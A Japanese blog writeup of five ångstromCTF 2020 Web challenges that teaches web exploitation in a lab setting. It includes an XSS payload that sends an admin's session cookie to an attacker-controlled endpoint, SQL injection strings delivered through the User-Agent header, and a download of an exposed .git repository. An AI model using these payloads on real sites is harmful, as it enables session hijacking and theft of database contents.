好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

ångstromCTF 2020 Web の writeup

2020年 3/14(土)9:00 - 3/19(木)9:00 JST で開催された、ångstromCTFWeb分野のwriteupです。CTF Timesはこちら
他の分野のwriteup, 戦績はこちら。

kusuwada.hatenablog.com

Webの解けなかった問題の復習はこちら。

kusuwada.hatenablog.com

[Web] The Magic Word

Ask and you shall receive...that is as long as you use the magic word.

Hint

Change "give flag" to "please give flag" somehow.

topはこんな感じ。

f:id:kusuwada:20200319091956p:plain:w400

ソースを見てみます。

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>What's the magic word?</title>
        <link
            href="https://fonts.googleapis.com/css2?family=Inconsolata:wght@400;700&display=swap"
            rel="stylesheet"
        />
        <style>
            body {
                margin: 0;
            }
            p {
                font-family: "Inconsolata", monospace;
                text-align: center;
                font-size: 64px;
                vertical-align: middle;
                user-select: none;
                margin: 0;
            }
            .flexmagic {
                display: flex;
                align-items: center;
                justify-content: center;
                height: 100%;
                position: absolute;
                margin: 0;
                width: 100%;
                flex-direction: column;
            }
            .hidden {
                display: none;
            }
        </style>
    </head>
    <body>
        <div>
            <p class="hidden">this ain't it chief</p>
        </div>
        <div>
            <p class="hidden">this also ain't it chief</p>
        </div>
        <div>
            <div class="flexmagic">
                <p id="magic">give flag</p>
            </div>
        </div>
        <div>
            <p class="hidden">you passed it chief</p>
        </div>
        <script>
            var msg = document.getElementById("magic");
            setInterval(function() {
                if (magic.innerText == "please give flag") {
                    fetch("/flag?msg=" + encodeURIComponent(msg.innerText))
                        .then(res => res.text())
                        .then(txt => magic.innerText = txt.split``.map(v => String.fromCharCode(v.charCodeAt(0) ^ 0xf)).join``);
                }
            }, 1000);
        </script>
    </body>
</html>

途中

if (magic.innerText == "please give flag") {

の下りがあるので、ヒントの通り、magic.innerTextplease give flag に書き換えられれば良さそう。

Chromeの開発者ツールの Elements で、下記を書き換える。

f:id:kusuwada:20200319092032p:plain

<p id="magic">give flag</p>

<p id="magic">please give flag</p>

で、Sourcesに移動してステップ実行すると、flagが表示されました!

f:id:kusuwada:20200319092112p:plain:w400

[Web] Xmas Still Stands

You remember when I said I dropped clam's tables? Well that was on Xmas day. And because I ruined his Xmas, he created the Anti Xmas Warriors to try to ruin everybody's Xmas. Despite his best efforts, Xmas Still Stands. But, he did manage to get a flag and put it on his site. Can you get it?

こんなサイトへのリンクが有りました。

f:id:kusuwada:20200319092151p:plain

怪しいタブ Admin に飛んでみます。

f:id:kusuwada:20200319092223p:plain

ほうほう。cookieが関係ありそう。

postのページに飛んで、XSSやSSTIを試してみる。XSSが刺さった。

f:id:kusuwada:20200319092253p:plain

reportのページでは、自分の作成したpostのIDを送ると、管理者が見に来てくれるらしい!

f:id:kusuwada:20200319092316p:plain

これは postで作ったページにcookieを吐かせる攻撃を仕込んで、reportにそのIDを報告すれば、Adminが見に来てくれるはず!
そこで拾ったcookieをセットしたらAdminページがちゃんと見れるはず!

これどこかでやったなーっと探してみたらこれっぽい。SECCON BeginnersCTF 2018 Gimme your commentだ!

imageタグにcookieを埋め込んでもらいたいのでこうしてみた。

<img src='{用意したエンドポイント}?'+document.cookie;>

これをPOSTし、自分で見に行ってみます。うーん、エンドポイントにアクセスは来るけどcookieは付いてこないなぁ。

ちょっとぐぐってみると、st98さんの去年のwriteupを発見。

angstromCTF 2019 の write-up - st98 の日記帳

ここでは、ドキュメントや画像を読み込めずにエラーになったときのイベントonerrorを使って下記のように飛ばしていました。

<img src=x onerror="(new Image).src='{用意したエンドポイント}?'+document.cookie">

これを試してみると刺さった!adminのJonahさんがcookieを携えてアクセスしてきてくれました。

f:id:kusuwada:20200319092359p:plain

{
  "super_secret_admin_cookie": "hello_yes_i_am_admin; admin_name=Jonah"
}

この2つのcookieをセットしてAdminページにアクセスすると、flagが表示されました!

f:id:kusuwada:20200319092424p:plain

[Web] Consolation

I've been feeling down lately... Cheer me up!

サイトに飛んでみます。

f:id:kusuwada:20200319092509p:plain

お金を払ったらいいのかしら。ソースを見てみます。

<!DOCTYPE html>
<html>
<head>
   <title>consolation</title>
</head>

<body style="padding: 20px">

$<span id="monet">0</span>

<br /><br /><br />

<button onclick="nofret()" style="height:150px; width:150px;">pay me some money</button>

<script src="iftenmillionfireflies.js"></script>

</body>
</html>

pay me some moneyと書いてあるボタンをクリックすると、nofret()関数が実行されるみたい。ブラウザ上ではワンクリックごとに$25支払われるようです。

このiftenmillionfireflies.jsが気になります。ただ難読化されていて読める気がしない…。このファイル名、if ten million firefliesなので、もし1000万のホタルと直訳できます。どういう意味だ?

ここで、タイトルConsolidationより、consoleに何かあるかもと開いてみます。しかし、ボタンをクリックし続けてもconsoleには何も表示されません。

ここで、クリックした時に呼ばれているnofret()関数を確認してみます。

function nofret() {
  document[_0x4229('0x95', 'kY1#')](_0x4229('0x9', 'kY1#'))[_0x4229('0x32', 'yblQ')] = parseInt(document[_0x4229('0x5e', 'xtR2')](_0x4229('0x2d', 'uCq1'))['innerHTML']) + 0x19;
  console[_0x4229('0x14', '70CK')](_0x4229('0x38', 'rwU*'));
  console['clear']();
}

読みにくいけど、何かをconsoleに出力し、そのあとclearしているようです。もしかして、flagを出力してその後clearしてるのかも…?と思い、consoleの設定からPreserve logをオンにしてクリックすると、flagが出ました(*ˊᗜˋ*)/

f:id:kusuwada:20200319092536p:plain

[Web] Git Good

Did you know that angstrom has a git repo for all the challenges? I noticed that clam committed a very work in progress challenge so I thought it was worth sharing.

Hint

Static file serving is a very dangerous thing when in the wrong directory.

指定されたリンク先は、Hello, world!の表示があるのみの簡素なサイト。
問題文とヒントから、gitやpath traversal系かな?と推測。

/.git/configにアクセスすると、configファイルをDL出来ました🙌

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true

色々DL出来たけど、flagは見当たらないなー。./git/indexファイルからたどった/thisistheflag.txtファイルは不発。

f:id:kusuwada:20200319092754p:plain

どこいったのー!?

とにかく、localにgit repositoryを再構築するべく、.gitの内容をDLしまくります。最終的にここまで集めた。

$ tree -a -L 4
.
├── .git
│   ├── COMMIT_EDITMSG
│   ├── HEAD
│   ├── config
│   ├── description
│   ├── hooks
│   │   └──  (略)
│   ├── index
│   ├── info
│   │   └── exclude
│   ├── logs
│   │   ├── HEAD
│   │   └── refs
│   │       └── heads
│   ├── objects
│   │   ├── 0f
│   │   │   └── 52598006f9cdb21db2f4c8d44d70535630289b
│   │   ├── 24
│   │   │   └── 7c9d491c0d2d6da5e93afcd0681b3edd7ccd70
│   │   ├── 49
│   │   │   └── b319c37dc674bca682cab0f2506473dda6bd9a
│   │   ├── 63
│   │   │   └── 8887a54973265c428cd51ce6dfd48f196d91c4
│   │   ├── 6b
│   │   │   └── 3c94c0b90a897f246f0f32dec3f5fd3e40abb5
│   │   ├── 78
│   │   │   └── 9fa5caf452f5f6f25bfa9b1c0ab1d593dce1b3
│   │   ├── 8f
│   │   │   └── 08af35205d0ba80e94b4f4306311039d62e138
│   │   ├── 94
│   │   │   └── 02d143d3d7998247c95597b63598ce941e7bcb
│   │   ├── b6
│   │   │   └── 30430d9d393a6b143af2839fd24ac2118dba79
│   │   ├── c2
│   │   │   └── 658d7d1b31848c3b71960543cb0368e56cd4c7
│   │   ├── e9
│   │   │   └── 75d678f209da09fff763cd297a6ed8dd77bb35
│   │   ├── info
│   │   └── pack
│   └── refs
│       ├── heads
│       │   └── master
│       └── tags
├── .gitignore
├── index.html
├── index.js
├── package-lock.json
├── package.json
└── thisistheflag.txt

既存のgitリポジトリの構成を見ながら必要なものを落としていき、.git/objects配下は、{コミットハッシュの上位2桁} / {下桁}のパス構成となっているので、わかっているハッシュ番号を狙い撃ちでDL。 git checkoutgit log --statなどをしながらエラーが出たらそのエラーのコミット番号のログをpathを指定して回収していく、というのを繰り返してここまで来ました。
なんかもっといい方法がある気がするけど。

なんとか復元できたっぽい。

$ git log -a
commit e975d678f209da09fff763cd297a6ed8dd77bb35 (HEAD, master)
Author: aplet123 <noneof@your.business>
Date:   Sat Mar 7 16:27:44 2020 +0000

    Initial commit

commit 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5
Author: aplet123 <noneof@your.business>
Date:   Sat Mar 7 16:27:24 2020 +0000

    haha I lied this is the actual initial commit

やっと真のinitial commitをcheckout, thisistheflag.txt を見るとflagがありました…!

$ git checkout 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5
Previous HEAD position was e975d67 Initial commit
HEAD is now at 6b3c94c haha I lied this is the actual initial commit
$ cat thisistheflag.txt
actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}

btw this isn't the actual git server

ふー、長かった!

ここから復習

こちらのwriteupを読むと、わざわざ1ファイルずつ落とすのではなく、git clone で良かったようだ…。

ångstromCTF 2020 write up · kuzushikiのぺーじ

$ git clone https://gitgood.2020.chall.actf.co/.git
Cloning into 'gitgood.2020.chall.actf.co'...
$ cd gitgood.2020.chall.actf.co/
$ ls -a
.           .gitignore      package-lock.json
..          index.html      package.json
.git            index.js        thisistheflag.txt
$ git log
commit e975d678f209da09fff763cd297a6ed8dd77bb35 (HEAD -> master, origin/master, origin/HEAD)
Author: aplet123 <noneof@your.business>
Date:   Sat Mar 7 16:27:44 2020 +0000

    Initial commit

commit 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5
Author: aplet123 <noneof@your.business>
Date:   Sat Mar 7 16:27:24 2020 +0000

    haha I lied this is the actual initial commit
$ git checkout 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5
$ ls
index.html      package-lock.json   thisistheflag.txt
index.js        package.json
$ cat thisistheflag.txt 
actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}

btw this isn't the actual git server

わー、一瞬でflagが手に入りました…orz

[Web] Secret Agents

Can you enter the secret agent portal? I've heard someone has a flag :eyes:

Our insider leaked the source, but was "terminated" shortly thereafter...

Hint

How does the site know who you are?

下記のapp.pyが配布されます。

from flask import Flask, render_template, request
#from flask_limiter import Limiter
#from flask_limiter.util import get_remote_address

from .secret import host, user, passwd, dbname

import mysql.connector


dbconfig = {
    "host":host,
    "user":user,
    "passwd":passwd,
    "database":dbname
}

app = Flask(__name__)
"""
limiter = Limiter(
  app,
  key_func=get_remote_address,
  default_limits=["1 per second"],
)"""


#@limiter.exempt
@app.route("/")
def index():
    return render_template("index.html")


@app.route("/login")
def login():
    u = request.headers.get("User-Agent")

    conn = mysql.connector.connect(
                    **dbconfig
                    )

    cursor = conn.cursor()

    #cursor.execute("SET GLOBAL connect_timeout=1")
    #cursor.execute("SET GLOVAL wait_timeout=1") 
    #cursor.execute("SET GLOBAL interactive_timeout=1")

    for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
        if r.with_rows:
            res = r.fetchall()
            break

    cursor.close()
    conn.close()

    

    if len(res) == 0:
        return render_template("login.html", msg="stop! you're not allowed in here >:)")

    if len(res) > 1:
        return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)")


    return render_template("login.html", msg="Welcome, %s"%(res[0][0]))

if __name__ == '__main__':
    app.run('0.0.0.0')

指定のサイトに飛んでみると、こんな画面。

f:id:kusuwada:20200319092857p:plain

何もせずにlemme get inのボタンを押すと、stop! you're not allowed in here >:)と怒られます。
app.pyから、使われているのはflask、ログインの可否にはUserAgentが使われていることがわかります。また、指定したUserAgentがDBにあるかの判定のクエリ部分に、SQL injectionが刺さりそうです。
Chrome開発者ツールの、3点アイコン > More tools > Network conditions から UserAgentを操作できるので、そこを色々いじってみます。

' or 1=1;

を入れると、hey! close, but no bananananananananana!!!! (there are many secret agents of course) になった。一つだけに絞れば良さそう。

' or 1=1 limit 1;

を入れると、入れたが情報はない。Welcome, GRUらしい。情報を持っている人に当たるまで、除外していきます💪

' or 1=1 and name!='GRU' limit 1;
# -> Welcome, vector but elon musk's brother
' or 1=1 and name!='GRU' and name!="vector but elon musk's brother" limit 1;
# -> Welcome, actf{nyoom_1_4m_sp33d}

でたーーーーー!!!

ここから復習

クエリが結構筋肉だったので、もっとスマートなクエリを求めて色々writeupを見てみました。

  1. ' or 'A'='A' limit X offset Y;--'
  2. group_concat() を使って一つにまとめて出力させる

1.はX1を指定してYにoffset(今回は2)を設定したら良さそう。

' or 1=1 limit 1 offset 2;

これで通りました👍

2.の方はst98さんのwriteup参照。他の問題でも広く使えそうな手順。

ångstromCTF 2020 の write-up - st98 の日記帳